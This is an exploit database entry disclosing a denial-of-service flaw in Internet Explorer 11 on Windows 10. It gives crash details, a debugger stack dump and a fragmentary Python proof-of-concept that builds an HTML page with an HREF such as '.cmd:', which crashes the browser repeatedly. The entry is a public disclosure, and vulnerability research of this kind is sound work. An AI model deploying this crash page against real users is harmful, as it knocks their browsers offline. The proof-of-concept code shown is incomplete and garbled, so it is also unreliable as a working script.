Microsoft (Win 10) Internet Explorer 11.371.16299.0 - Denial Of Service

EDB-ID: 44525
Author: hyp3rlinx
Published: 2018-04-24
Type: Dos
Platform: Windows
Vulnerable App: N/A

 [+] Credits: John Page (aka hyp3rlinx)		 
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[+] Source:
[+] ISR: ApparitionSec


Internet Explorer (Windows 10)

Internet Explorer is a series of graphical web browsers developed by Microsoft and included in the Microsoft Windows line of operating systems, starting in 1995.

Vulnerability Type:
Denial Of Service

CVE Reference:

Security Issue:
A null pointer de-reference (read) results in an InternetExplorer Denial of Service (crash) when MSIE encounters an specially crafted
HTML HREF tag containing an empty reference for certain Windows file types. Upon IE crash it will at times daringly attempt to restart itself,
if that occurs and user is prompted by IE to restore their browser session, then selecting this option so far in my tests has shown to repeat the
crash all over again. This can be leveraged by visiting a hostile webpage or link to crash an end users MSIE browser.

Referencing some of the following extensions .exe:, .com:, .pif:, .bat: and .scr: should produce the same :)

Tested Windows 10

Stack Dump:
(2e8c.27e4): Access violation - code c0000005 (first/second chance not available)
00007ffa`be5f0e14 c3 ret
0:015> r
rax=000000000000005b rbx=0000000000000003 rcx=0000000000000003
rdx=000000cca6efd3a8 rsi=0000000000000000 rdi=0000000000000003
rip=00007ffabe5f0e14 rsp=000000cca6efcfa8 rbp=0000000000000000
r8=0000000000000000 r9=0000000000000000 r10=0000000000000000
r11=0000000000000246 r12=0000000000000010 r13=000000cca6efd3a8
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei pl zr na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
00007ffa`be5f0e14 c3 ret

CONTEXT: (.ecxr)
rax=0000000000000000 rbx=000001fd4a2ec9d8 rcx=0000000000000000
rdx=00007ffabb499398 rsi=000001fd4a5b0ce0 rdi=0000000000000000
rip=00007ffabb7fc646 rsp=000000cca6efe4f8 rbp=000000cca6efe600
r8=0000000000000000 r9=0000000000008000 r10=00007ffabb499398
r11=0000000000000000 r12=0000000000000000 r13=00007ffabb48d060
r14=0000000000000002 r15=0000000000000001
iopl=0 nv up ei pl zr na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
00007ffa`bb7fc646 450fb70b movzx r9d,word ptr [r11] ds:00000000`00000000=????
Resetting default scope

00007ffa`bb7fc646 450fb70b movzx r9d,word ptr [r11]

ExceptionAddress: 00007ffabb7fc646 (KERNELBASE!StrCmpICW+0x0000000000000006)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 0000000000000000
Parameter[1]: 0000000000000000
Attempt to read from address 0000000000000000

PROCESS_NAME: iexplore.exe

POC video URL:

1) Run below python script to create "IE-Win10-Crasha.html"
2) Open IE-Win10-Crasha.html in InternetExplorer v11.371.16299 on Windows 10

'<center>MSIE v11.371.16299 Denial Of Service by hyp3rlinx <br>\n'+
'<a href=".cmd:" id="hate">crashy ware shee</a>\n'+
'Tested successfully on Windows 10\n'+
'function doit(){\n'+
'setInterval("doit()", 2000)\n'+


print 'MS InternetExplorer (Win 10) '
print 'Denial Of Service File Created.'
print 'hyp3rlinx'

Network Access:


Disclosure Timeline:
Vendor Notification: April 18, 2018
vendor closes thread : April 19, 2018
April 20, 2018 : Public Disclosure

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